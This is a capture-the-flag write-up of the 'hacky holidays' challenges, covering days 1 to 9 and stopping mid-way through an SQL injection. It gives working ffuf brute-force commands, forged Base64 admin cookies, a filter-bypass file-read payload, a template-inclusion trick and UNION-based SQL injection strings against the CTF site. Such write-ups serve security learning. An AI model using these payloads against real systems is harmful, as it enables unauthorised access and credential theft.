Solution for hackyholiday
The report describes daily CTF challenges where the author exploited weak access controls, brute-forced credentials, tampered with a Base64-encoded cookie to gain admin privileges, and bypassed a file inclusion filter to read a secret file.
- Triaged in 12 days
- Fixed in 20 days
- Paid in 29 days
- Disclosed after 20 days
Summary by the program
Summary by the researcher
Day 1
The time has finally come! It's the first day of the 12 hacky holidays and we can finally begin to infiltrate the Grinch Networks and save this year's Christmas.
Shivering with excitement I navigated to hackyholidays.h1ctf.com to be met with the following screen:
As we are insanely 1337 hackers we know we need to fire up our Very Cool Advanced Information Gathering And Also Some Other Cool Words System TM to infiltrate our target system... Or maybe we should just try and navigate to /robots.txt?
Well, that does it this time! We successfully found the first flag! We also got a lead on how to continue tomorrow: /s3cr3t-ar3a. Stay tuned to see how it goes!
flag{48104912-28b0-494a-9995-a203d1e261e7}
Day 2
Time for another challenge! Let's check out /s3cr3t-ar3a:
Ordinary people might accept that there's nothing to do, but we're not just anyone, we're 1337 hackers! Let's pop up our beloved developer tools and investigate the source of the page:
Yay! We successfully found the 2nd flag and have been pointed towards tomorrow's challenge: /apps
flag{b7ebcb75-9100-4f91-8454-cfb9574459f7}
Day 3
3rd day, 3rd challenge, let's begin! Navigating to /apps we can see that a new challenge, 'People Rate' has been added:
Let's start the challenge. The challenge is located on /people-rater and appears to be an app that returns the rating of a list of people when clicking on them. Firing up Burp Suite and clicking the very first name, we notice that a GET request is sent to /people-rater/entry?id=eyJpZCI6Mn0=. The GET parameter id seems interesting. The value seems to be Base64 encoded. Let's try to decode it and see if our assumption is correct.
Indeed, it was correct! We get a JSON with a parameter called id. Interestingly enough, the value of the id parameter is '2' even though we picked the very first name. Let's try to create our own Base64 encoded JSON object in the same format, but with the value '1' instead:
{"id":1} -> eyJpZCI6MX0=
Let's now try to use our own tampered value in the GET request, making it: /people-rater/entry?id=eyJpZCI6MX0=. The request is successful and gives us the following response body:
{
"id":"eyJpZCI6MX0=",
"name":"The Grinch",
"rating":"Amazing in every possible way!",
"flag":"flag{b705fb11-fb55-442f-847f-0931be82ed9a}"
}
We successfully got the 3rd flag!
flag{b705fb11-fb55-442f-847f-0931be82ed9a}
Day 4
A new day has come and it's time for the next challenge. Browsing to /apps, we notice a new challenge has been added: 'Swag Shop'. Let's fire up the challenge and see what we're dealing with.
The challenge appears to be a shop (what a surprise), but there's not much to do, since we're quickly faced with a login form, which doesn't seem easy to bypass. Let's instead think a bit more like a 1337 hacker and do some recon. Let's use FFUF to do some web content discovery. Now we need to pick a good wordlist. Daniel Miessler's 'common.txt' for web content seems like a good start:
ffuf -w common_webcontent.txt -t 5 -u "https://hackyholidays.h1ctf.com/swag-shop/FUZZ"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.2.0-git
________________________________________________
:: Method : GET
:: URL : https://hackyholidays.h1ctf.com/swag-shop/FUZZ
:: Wordlist : FUZZ: common_webcontent.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 5
:: Matcher : Response status: 200,204,301,302,307,401,403
________________________________________________
api [Status: 200, Size: 23, Words: 2, Lines: 1]00:16] :: Errors: 0 ::
:: Progress: [4661/4661] :: Job [1/1] :: 41 req/sec :: Duration: [0:01:57] :: Errors: 0 ::
Navigating to /api doesn't return anything interesting. Let's try to find some API endpoints. We fire up FFUF again, but this time to fuzz for API endpoints using Daniel Miessler's 'common-api-endpoints-mazen160.txt'. To be sure we don't miss anything, let's match all response codes except 404 by using the flags -mc all -fc 404
ffuf -w common-api-endpoints-mazen160.txt -t 5 -u "https://hackyholidays.h1ctf.com/swag-shop/api/FUZZ" -mc all -fc 404
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.2.0-git
________________________________________________
:: Method : GET
:: URL : https://hackyholidays.h1ctf.com/swag-shop/api/FUZZ
:: Wordlist : FUZZ: common-api-endpoints-mazen160.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 5
:: Matcher : Response status: all
:: Filter : Response status: 404
________________________________________________
sessions [Status: 200, Size: 2194, Words: 1, Lines: 1]03] :: Errors: 0 ::
user [Status: 400, Size: 35, Words: 3, Lines: 1]0:04] :: Errors: 0 ::
:: Progress: [174/174] :: Job [1/1] :: 41 req/sec :: Duration: [0:00:05] :: Errors: 0 ::
We discovered two endpoints: /api/user and /api/sessions! Let's start by checking /api/user. A simple GET request returns the following response:
HTTP/1.1 400 Bad Request
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 29 Dec 2020 04:20:69 GMT
Content-Type: application/json
Connection: close
Content-Length: 35
{
"error":"Missing required fields"
}
Looks like we're missing some parameter(s) in our request. Let's use FFUF once again to see if we can discover the missing parameter(s). Let's start by checking for GET parameters using Daniel Miessler's 'burp-parameter-names.txt'. Let's start by checking if any of the responses we get, doesn't contain the string: 'Missing required fields'. To do so, we can use the flag -fr to filter responses based on a regex:
ffuf -w burp-parameter-names.txt -t 5 -u "https://hackyholidays.h1ctf.com/swag-shop/api/user?FUZZ" -mc all -fr "Missing required fields"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.2.0-git
________________________________________________
:: Method : GET
:: URL : https://hackyholidays.h1ctf.com/swag-shop/api/user?FUZZ
:: Wordlist : FUZZ: burp-parameter-names.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 5
:: Matcher : Response status: all
:: Filter : Regexp: Missing required fields
________________________________________________
uuid [Status: 404, Size: 40, Words: 5, Lines: 1]:00:33] :: Errors: 0 ::
:: Progress: [2588/2588] :: Job [1/1] :: 40 req/sec :: Duration: [0:01:03] :: Errors: 0 ::
We got a hit for 'uuid'! Now we just need a value for the parameter...
Let's move on to the second API endpoint we discovered, /api/sessions. A simple GET request returns this interesting response body:
{
"sessions":[
"eyJ1c2VyIjpudWxsLCJjb29raWUiOiJZelZtTlRKaVlUTmtPV0ZsWVRZMllqQTFaVFkxTkRCbE5tSTBZbVpqTW1ObVpHWXpNemcxTVdKa1pEY3lNelkwWlRGbFlqZG1ORFkzTkRrek56SXdNR05pWmpOaE1qUTNZMlJtWTJFMk4yRm1NemRqTTJJMFpXTmxaVFZrTTJWa056VTNNVFV3WWpka1l6a3lOV0k0WTJJM1pXWmlOamsyTjJOak9UazBNalU9In0=",
"eyJ1c2VyIjpudWxsLCJjb29raWUiOiJaak0yTXpOak0ySmtaR1V5TXpWbU1tWTJaamN4TmpkbE5ETm1aalF3WlRsbVkyUmhOall4TldNNVkyWTFaalkyT0RVM05qa3hNVFEyTnprMFptSXhPV1poTjJaaFpqZzBZMkU1TnprMU5UUTJNek16WlRjME1XSmxNelZoWkRBME1EVXdZbVEzTkRsbVpURTRNbU5rTWpNeE16VTBNV1JsTVRKaE5XWXpPR1E9In0=",
"eyJ1c2VyIjoiQzdEQ0NFLTBFMERBQi1CMjAyMjYtRkM5MkVBLTFCOTA0MyIsImNvb2tpZSI6Ik5EVTBPREk1TW1ZM1pEWTJNalJpTVdFME1tWTNOR1F4TVdFME9ETXhNemcyTUdFMVlXUmhNVGMwWWpoa1lXRTNNelUxTWpaak5EZzVNRFEyWTJKaFlqWTNZVEZoWTJRM1lqQm1ZVGs0TjJRNVpXUTVNV1E1T1dGa05XRTJNakl5Wm1aak16WmpNRFEzT0RrNVptSTRaalpqT1dVME9HSmhNakl3Tm1Wa01UWT0ifQ==",
"eyJ1c2VyIjpudWxsLCJjb29raWUiOiJNRFJtWVRCaE4yRmlOalk1TUdGbE9XRm1ZVEU0WmpFMk4ySmpabVl6WldKa09UUmxPR1l3TWpJMU9HSXlOak0xT0RVME5qYzJZVGRsWlRNNE16RmlNMkkxTVRVek16VmlNakZoWXpWa01UYzRPREUzT0dNNFkySmxPVGs0TWpKbE1ESTJZalF6WkRReE1HTm1OVGcxT0RReFpqQm1PREJtWldReFptRTFZbUU9In0=",
"eyJ1c2VyIjpudWxsLCJjb29raWUiOiJNMlEyTURJek5EZzVNV0UwTjJNM05ESm1OVEl5TkdNM05XVXhZV1EwTkRSbFpXSTNNVGc0TWpJM1pHUmtNVGxsWlRNMlpEa3hNR1ZsTldFd05tWmlaV0ZrWmpaaE9EZzRNRFkzT0RsbVpHUmhZVE0xWTJJeU1HVmhNakExTmpkaU5ERmpZekJoTVdRNE5EVTFNRGM0TkRFMVltSTVZVEpqT0RCa01qRm1OMlk9In0=",
"eyJ1c2VyIjpudWxsLCJjb29raWUiOiJNV1kzTVRBek1UQmpaR1k0WkdNd1lqSTNaamsyWm1Zek1XSmxNV0V5WlRnMVl6RTBNbVpsWmpNd1ltSmpabVE0WlRVMFkyWXhZelZtWlRNMU4yUTFPRFkyWWpGa1ptRmlObUk1WmpJMU0yTTJNRFZpTmpBMFpqRmpORFZrTlRRNE4yVTJPRGRpTlRKbE1tRmlNVEV4T0RBNE1qVTJNemt4WldOaE5qRmtObVU9In0=",
"eyJ1c2VyIjpudWxsLCJjb29raWUiOiJNRE00WXpoaU4yUTNNbVkwWWpVMk0yRmtabUZsTkRNd01USTVNakV5T0RobE5HRmtNbUk1T1RjeU1EbGtOVEpoWlRjNFlqVXhaakl6TjJRNE5tUmpOamcyTm1VMU16VmxPV0V6T1RFNU5XWXlPVGN3Tm1KbFpESXlORGd5TVRBNVpEQTFPVGxpTVRZeU5EY3pOakZrWm1VME1UZ3hZV0V3TURVMVpXTmhOelE9In0=",
"eyJ1c2VyIjpudWxsLCJjb29raWUiOiJPR0kzTjJFeE9HVmpOek0xWldWbU5UazJaak5rWmpJd00yWmpZemRqTVdOaE9EZzRORGhoT0RSbU5qSTBORFJqWlRkbFpUZzBaVFV3TnpabVpEZGtZVEpqTjJJeU9EWTVZamN4Wm1JNVpHUmlZVGd6WmpoaVpEVmlPV1pqTVRWbFpEZ3pNVEJrTnpObU9ESTBPVE01WkRNM1kySmpabVk0TnpFeU9HRTNOVE09In0="
]
}
Let's try and Base64 decode these interesting values:
{
"user":null,
"cookie":"YzVmNTJiYTNkOWFlYTY2YjA1ZTY1NDBlNmI0YmZjMmNmZGYzMzg1MWJkZDcyMzY0ZTFlYjdmNDY3NDkzNzIwMGNiZjNhMjQ3Y2RmY2E2N2FmMzdjM2I0ZWNlZTVkM2VkNzU3MTUwYjdkYzkyNWI4Y2I3ZWZiNjk2N2NjOTk0MjU="
},
{
"user":null,
"cookie":"ZjM2MzNjM2JkZGUyMzVmMmY2ZjcxNjdlNDNmZjQwZTlmY2RhNjYxNWM5Y2Y1ZjY2ODU3NjkxMTQ2Nzk0ZmIxOWZhN2ZhZjg0Y2E5Nzk1NTQ2MzMzZTc0MWJlMzVhZDA0MDUwYmQ3NDlmZTE4MmNkMjMxMzU0MWRlMTJhNWYzOGQ="
},
{
"user":"C7DCCE-0E0DAB-B20226-FC92EA-1B9043",
"cookie":"NDU0ODI5MmY3ZDY2MjRiMWE0MmY3NGQxMWE0ODMxMzg2MGE1YWRhMTc0YjhkYWE3MzU1MjZjNDg5MDQ2Y2JhYjY3YTFhY2Q3YjBmYTk4N2Q5ZWQ5MWQ5OWFkNWE2MjIyZmZjMzZjMDQ3ODk5ZmI4ZjZjOWU0OGJhMjIwNmVkMTY="
},
{
"user":null,
"cookie":"MDRmYTBhN2FiNjY5MGFlOWFmYTE4ZjE2N2JjZmYzZWJkOTRlOGYwMjI1OGIyNjM1ODU0Njc2YTdlZTM4MzFiM2I1MTUzMzViMjFhYzVkMTc4ODE3OGM4Y2JlOTk4MjJlMDI2YjQzZDQxMGNmNTg1ODQxZjBmODBmZWQxZmE1YmE="
},
{
"user":null,
"cookie":"M2Q2MDIzNDg5MWE0N2M3NDJmNTIyNGM3NWUxYWQ0NDRlZWI3MTg4MjI3ZGRkMTllZTM2ZDkxMGVlNWEwNmZiZWFkZjZhODg4MDY3ODlmZGRhYTM1Y2IyMGVhMjA1NjdiNDFjYzBhMWQ4NDU1MDc4NDE1YmI5YTJjODBkMjFmN2Y="
},
{
"user":null,
"cookie":"MWY3MTAzMTBjZGY4ZGMwYjI3Zjk2ZmYzMWJlMWEyZTg1YzE0MmZlZjMwYmJjZmQ4ZTU0Y2YxYzVmZTM1N2Q1ODY2YjFkZmFiNmI5ZjI1M2M2MDViNjA0ZjFjNDVkNTQ4N2U2ODdiNTJlMmFiMTExODA4MjU2MzkxZWNhNjFkNmU="
},
{
"user":null,
"cookie":"MDM4YzhiN2Q3MmY0YjU2M2FkZmFlNDMwMTI5MjEyODhlNGFkMmI5OTcyMDlkNTJhZTc4YjUxZjIzN2Q4NmRjNjg2NmU1MzVlOWEzOTE5NWYyOTcwNmJlZDIyNDgyMTA5ZDA1OTliMTYyNDczNjFkZmU0MTgxYWEwMDU1ZWNhNzQ="
},
{
"user":null,
"cookie":"OGI3N2ExOGVjNzM1ZWVmNTk2ZjNkZjIwM2ZjYzdjMWNhODg4NDhhODRmNjI0NDRjZTdlZTg0ZTUwNzZmZDdkYTJjN2IyODY5YjcxZmI5ZGRiYTgzZjhiZDViOWZjMTVlZDgzMTBkNzNmODI0OTM5ZDM3Y2JjZmY4NzEyOGE3NTM="
}
The cookie values seem to be some Base64 encoded SHA-512 hashes but don't seem to be of any use. The most interesting part is the one 'user' value which isn't just 'null': C7DCCE-0E0DAB-B20226-FC92EA-1B9043. Maybe we could use this as the value for the parameter 'uuid' in the request to /api/user?
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 29 Dec 2020 23:27:25 GMT
Content-Type: application/json
Connection: close
Content-Length: 216
{
"uuid":"C7DCCE-0E0DAB-B20226-FC92EA-1B9043",
"username":"grinch",
"address":{
"line_1":"The Grinch",
"line_2":"The Cave",
"line_3":"Mount Crumpit",
"line_4":"Whoville"
},
"flag":"flag{972e7072-b1b6-4bf7-b825-a912d3fd38d6}"
}
Yes! We successfully got day 4's flag!
flag{972e7072-b1b6-4bf7-b825-a912d3fd38d6}
Day 5
It's yet another beautiful Christmas day and time for yet another challenge. Today we're met with the challenge 'Secure Login'. Opening up the challenge we're simply faced with a login screen. When trying to log in, a POST request is sent to /secure-login and we're faced with the following error:
The error 'Invalid Username' seems like an interesting message, since we can imagine that a valid username but valid password would yield a different error message, making it possible to start by brute-forcing the username and then take care of the password afterward. With the name of the challenge in mind, this seems like a fairly good path to take. Let's start up our good friend FFUF and provide it with Daniel Miessler's '10-million-password-list-top-1000.txt'. We'll start by brute-forcing the username and use -fr again to filter out responses containing the standard response, 'Invalid Username':
ffuf -w 10-million-password-list-top-1000.txt -t 5 -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=FUZZ&password=bla" -u "https://hackyholidays.h1ctf.com/secure-login" -fr "Invalid Username"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.2.0-git
________________________________________________
:: Method : POST
:: URL : https://hackyholidays.h1ctf.com/secure-login
:: Wordlist : FUZZ: 10-million-password-list-top-1000.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : username=FUZZ&password=bla
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 5
:: Matcher : Response status: 200,204,301,302,307,401,403
:: Filter : Regexp: Invalid Username
________________________________________________
access [Status: 200, Size: 1724, Words: 464, Lines: 37] :: Errors: 0 ::
:: Progress: [1000/1000] :: Job [1/1] :: 40 req/sec :: Duration: [0:00:25] :: Errors: 0 ::
Bingo! We got a valid username: 'access'. Time to brute force the password, this time by filtering for responses containing our new error message, 'Invalid Password':
ffuf -w 10-million-password-list-top-1000.txt -t 5 -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=access&password=FUZZ" -u "https://hackyholidays.h1ctf.com/secure-login" -fr "Invalid Password"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.2.0-git
________________________________________________
:: Method : POST
:: URL : https://hackyholidays.h1ctf.com/secure-login
:: Wordlist : FUZZ: 10-million-password-list-top-1000.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : username=access&password=FUZZ
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 5
:: Matcher : Response status: 200,204,301,302,307,401,403
:: Filter : Regexp: Invalid Password
________________________________________________
computer [Status: 302, Size: 0, Words: 1, Lines: 1]00:01] :: Errors: 0 ::
:: Progress: [1000/1000] :: Job [1/1] :: 36 req/sec :: Duration: [0:00:25] :: Errors: 0 ::
Perfect! We got the password: 'computer'. Let's pop in the credentials and get the flag:
Well... We got a bit ahead of ourselves there. Let's check how we've been authenticated. We can see that a cookie called 'securelogin' has been set to the value: eyJjb29raWUiOiIxYjVlNWYyYzlkNThhMzBhZjRlMTZhNzFhNDVkMDE3MiIsImFkbWluIjpmYWxzZX0=. Let's go ahead and Base64 decoded the value: {"cookie":"1b5e5f2c9d58a30af4e16a71a45d0172","admin":false}. Since we're 1337 hackers, it seems very tempting to try and change the 'admin' parameter to true instead of false.
Let's do as we did in day 3's challenge and tamper with the cookie to see if we get lucky:
What a beautiful surprise! We've successfully become admins and can now see the zip file 'my_secure_files_not_for_you.zip'. Let's just download it and extract it to get the flag.
(could we maybe just ignore my cringe early 'hacker name'?)
Well... Still, a bit too fast. So while a password protected zip file wasn't exactly what we would hope for, it won't stop us! Let's try to use fcrackerzip with the infamous 'rockyou.txt' and see if we can crack the password to the zip file:
And just like that, we got the password in a matter of seconds: 'hahahaha'! We can finally extract the zip file and open up 'flag.txt' to get the 5th flag!
flag{2e6f9bf8-fdbd-483b-8c18-bdf371b2b004}
Day 6
The next challenge 'My Diary' has been added and we're asked to find a hidden upcoming event the grinch is planning. Starting up the challenge we see the following:
We can see some event's but the hidden event isn't listed (duh). The GET parameter 'template' seems interesting as both the name and value, 'entries.html', suggests it's used to specify some file to load. Providing something random as the value simply redirects us to /my-diary/?template=entries.html so there seems to be some validation going on before the specified file is attempted to be loaded. If only we could see what's going on behind the curtain... Wait, maybe we could just load 'index.php'? The following is thrown back at us when trying:
<?php
if( isset($_GET["template"]) ){
$page = $_GET["template"];
//remove non allowed characters
$page = preg_replace('/([^a-zA-Z0-9.])/','',$page);
//protect admin.php from being read
$page = str_replace("admin.php","",$page);
//I've changed the admin file to secretadmin.php for more security!
$page = str_replace("secretadmin.php","",$page);
//check file exists
if( file_exists($page) ){
echo file_get_contents($page);
}else{
//redirect to home
header("Location: /my-diary/?template=entries.html");
exit();
}
}else{
//redirect to home
header("Location: /my-diary/?template=entries.html");
exit();
}
That worked great! Now we know what's going on. It looks like the goal is to load the file 'secretadmin.php', but there's some filtering going on. Let's create an interactive PHP shell from the command line and use the following PHP function to do some testing:
function test($page){
$page = preg_replace('/([^a-zA-Z0-9.])/','',$page);
$page = str_replace("admin.php","",$page);
$page = str_replace("secretadmin.php","",$page);
echo $page;
}
Now we can simply call our function with some different values and see what we are left with after the filtering. Let's start by seeing if we can achieve to get the string 'admin.php' returned. Since the char combination 'admin.php' is removed from the input string using str_replace() we could try to split our desired target string, 'admin.php' in into two parts, eg: 'adm' and 'in.php'. We can then put the char combination 'admin.php' in between these two parts, since we know it'll be removed anyways, making our payload: 'adm'+'admin.ph'+'in.php' -> admadmin.phpin.php. Time to test:
Nice! Let's now move on to see if we can have the string 'secretadmin.php' returned. We can adapt the same idea from before, but we need to notice that the string 'secretadmin.php' also contains the string 'admin.php', which means that the 'admin.php' part will be removed before we get to the second use of str_replace which looks for 'secretadmin.php'. But what if we use something like the following:
'secretadm'+'secretadm'+'admin.php'+'in.php'+'in.php' -> secretadmsecretadmadmin.phpin.phpin.php
After the first check, all occurrences of 'admin.php' will be removed, leaving us with:
secretadmsecretadm[admin.php]in.phpin.php -> secretadmsecretadmin.phpin.php
And after the second check, all occurrences of 'secretadmin.php' will be removed, leaving us with:
secretadm[secretadmin.php]in.php -> secretadmin.php
That's exactly what we want! Our test function confirms that this works:
Time to test our payload in the challenge:
Perfect! We've successfully bypassed the filter, uncovered the Grinch's secret event, and retrieved the 6th flag! 'Launch DDoS Against Santa's Workshop!'... that doesn't sound good... We better get to sleep so we're well-rested to continue our quest to take down the Grinch Network and save Christmas!
flag{18b130a7-3a79-4c70-b73b-7f23fa95d395}
Day 7
Well, look at that. It's a new day and a new challenge has arrived: 'Hate Mail Generator'. The challenge is wrapped in a 'Hate Mail Generator' app which makes it possible to create mail templates. We can see a template has already been saved, called 'Guess What'.
We can see that some template engine is being used and two use cases can be seen in 'Guess What'.
- Variables such as 'name' which will be replaced by a value
- The inclusion of a template such as 'cbdj3_grinch_header.html' which will be replaced by the contents of 'cbdj3_grinch_header.html'
Clicking the 'preview' button we see this transformation in action:
We also have the option of creating our own template. Trying to save it, we get the following error:
But we're still able to preview our own templates. Let's try to create our own template and preview it. We notice that a POST request is sent to /hate-mail-generator/new/preview
POST /hate-mail-generator/new/preview HTTP/1.1
Host: hackyholidays.h1ctf.com
Connection: close
Content-Length: 102
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: https://hackyholidays.h1ctf.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://hackyholidays.h1ctf.com/hate-mail-generator/new
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
preview_markup=hihi&preview_data={"name":"Alice","email":"[email protected]"}
The request body contains two parameters: 'preview_markup', which is set to whatever we have typed in the body of our template, and 'preview_data' which appears to provide a JSON object with the data used to generate our template. Let's try to provide our own JSON object:
{"hihi":"blabla"}
and see if we're now able to use 'hihi' as a variable:
Yup, that works. Let's note that down and move on.
The templates used (eg. 'cbdj3_grinch_header.html') seems interesting. I wonder where they are stored... Let's fire up FFUF with Daniel Miessler's 'common.txt' for web content and see if we discover something:
ffuf -w common_webcontent.txt -t 5 -u "https://hackyholidays.h1ctf.com/hate-mail-generator/FUZZ"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.2.0-git
________________________________________________
:: Method : GET
:: URL : https://hackyholidays.h1ctf.com/hate-mail-generator/FUZZ
:: Wordlist : FUZZ: common_webcontent.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 5
:: Matcher : Response status: 200,204,301,302,307,401,403
________________________________________________
new [Status: 200, Size: 2494, Words: 440, Lines: 49]9] :: Errors: 0 ::
templates [Status: 302, Size: 0, Words: 1, Lines: 1]0:01:40] :: Errors: 0 ::
:: Progress: [4661/4661] :: Job [1/1] :: 41 req/sec :: Duration: [0:01:56] :: Errors: 0 ::
And yes we did! Let's navigate to /templates and see what we got:
Great! We found the location of the template files! The file 38dhs_admins_only_header.html seems very interesting! Unfortunately, we can't open any of the files directly from the browser:
But let's just include the file, using the following syntax in our own mail template:
{{template:38dhs_admins_only_header.html}}
And preview it:
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Wed, 30 Dec 2020 13:04:33 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 64
You do not have access to the file 38dhs_admins_only_header.html
Well, that's not good... Time to try harder like a true 1337 hacker! Remember how we discovered earlier that we can provide our own data to be used in the preview generation? What happens if the value of a variable is set to the syntax of including a file? The idea would be as follows:
preview_markup={{hihi}}&preview_data={"hihi":"{{template:38dhs_admins_only_header.html}}"}
The variable 'hihi' is replaced with the specified value:
{{hihi}} -> {{template:38dhs_admins_only_header.html}}
We cross our fingers and hope magic happens:
{{template:38dhs_admins_only_header.html}} -> plz give me flag
Awesome! Our idea worked! We successfully got the 7th flag and are one step closer to take down the Grinch Networks
flag{5bee8cf2-acf2-4a08-a35f-b48d5e979fdd}
Day 8
It's a brand new day and I'm wondering if there could possibly be a new challenge... Well, what a surprise! A new challenge has been added called 'Forum'. We're informed that the Grinch keeps his best post in the admin section, but that we need a valid login to access that. Starting the challenge we can see a basic forum. Our actions however are very limited since we're not logged in, so let's work on that! Once again let's give FFUF a shot with one of our favorites, 'common.txt':
ffuf -w common_webcontent.txt -t 5 -u "https://hackyholidays.h1ctf.com/forum/FUZZ"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.2.0-git
________________________________________________
:: Method : GET
:: URL : https://hackyholidays.h1ctf.com/forum/FUZZ
:: Wordlist : FUZZ: common_webcontent.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 5
:: Matcher : Response status: 200,204,301,302,307,401,403
________________________________________________
1 [Status: 200, Size: 2249, Words: 788, Lines: 64] :: Errors: 0 ::
2 [Status: 200, Size: 1885, Words: 512, Lines: 58]] :: Errors: 0 ::
login [Status: 200, Size: 1569, Words: 396, Lines: 34]1] :: Errors: 0 ::
phpmyadmin [Status: 200, Size: 8880, Words: 956, Lines: 79]5] :: Errors: 0 ::
:: Progress: [4661/4661] :: Job [1/1] :: 41 req/sec :: Duration: [0:01:54] :: Errors: 0 ::
/phpmyadmin seems interesting!
Hmm, it appears to be a totally legit original phpMyAdmin login page. But what now? Trying to brute-force the login page on both /login and /phpmyadmin doesn't seem feasible, believe me, I tried. If only we knew more about how the forum works... If only there were some way we could view the source code... If only there existed a common place where a lot of people store their code online for anyone to view... If only I could get a sweet brand new unlimited Burp Suite Professional license for Christmas this year... I think I lost the thread there. But what about GitHub?? While it probably can't give me that license, it might be able to give me the source code for the forum! Let's check Adam Langley's GitHub
Bingo! We discovered a Git Repository containing the source code of the Forum! We can see that 4 commits have been made. Time to dig into the code and see what we can find. The commit called 'Initial Code Commit' seems interesting. And look at that:
Looks like we just found some database credentials! Let's test them on /phpmyadmin:
They worked! We now have access to the database! The 'user' table looks interesting. We can see that there exist two users on the forum: 'grinch' and 'max'. We can also see their passwords but in an encrypted form. Let's see if we can crack the password for the user 'grinch'. Before we go crazy with hashcat, let's quickly see if we're lucky enough that crackstation.net does the job for us:
Look at that! It actually did work! We've successfully cracked the password and can now log in on the forum:
Great! We got access to the admin section and have successfully got the 8th flag!
flag{677db3a0-f9e9-4e7e-9ad7-a9f23e47db8b}
Day 9
Feeling in the mood for a quiz today, it's a pleasant surprise to see that the Grinch has provided us with a quiz as the next challenge, 'Evil Quiz'
Upon completing the quiz, we're met with the following screen:
The feature that allows us to see how many players have the same name as us seems very interesting.
Being a 1337 hacker and seeing an input field, the next move seems obvious: Spraying the input field with every single just slightly good idea of a payload we can come up with.
Well, that was definitely an interesting response! It seems safe to assume that there are not 1218510 other players with that exact name, so we've probably found an SQLi! Now comes the fun part, exploitation.
Let's start by see if we can make a UNION attack. To do so, we need to figure out how many columns are returned by the original SQL query. This can be achieved by using the SELECT statement to select eg. an increasing number of integers.
bla' UNION SELECT '1bla' UNION SELECT 1,'2bla' UNION SELECT 1,2,'3- Etc.
We then need to look for the response. In this case, an error in the SQL query will result in a response stating that there are 0 other players with the same name as us, while a successful query will tell us that there's 1 other player with the same name. Let's start testing.
We now know that there are 4 columns and can go to the next step of our exploitation. The table information_schema.tables can be queried for existing tables in the database. A table with a name like 'admin' is probably a good guess. Let's test if there exist any tables called 'admin' with the following payload:
bla' UNION SELECT 1,2,3,4 from information_schema.tables WHERE table_name = 'admin
We see that 1 other player has the same name as us, meaning that there indeed is a table with the name 'admin' and that our guess was correct!
We can now use the table information_schema.columns to figure out which columns exists in the 'admin' table. Let's check for a 'username' and 'password' column using these two payloads:
bla' UNION SELECT 1,2,3,4 from information_schema.columns WHERE table_name = 'admin' AND column_name = 'username
bla' UNION SELECT 1,2,3,4 from information_schema.columns WHERE table_name = 'admin' AND column_name = 'password
Both payloads result in the message telling us that 1 other player has the same name, meaning that there indeed exists both a 'username' column and 'password' column exists in the 'admin' table. Let's figure out how many users exist in this table by using the LIKE operator:
bla' UNION SELECT 1,2,3,4 from admin WHERE username LIKE '%
Apparently, only one user exists in the admin table. What could the username possibly be..? Well, how about admin:
bla' UNION SELECT 1,2,3,4 from admin WHERE username = 'admin
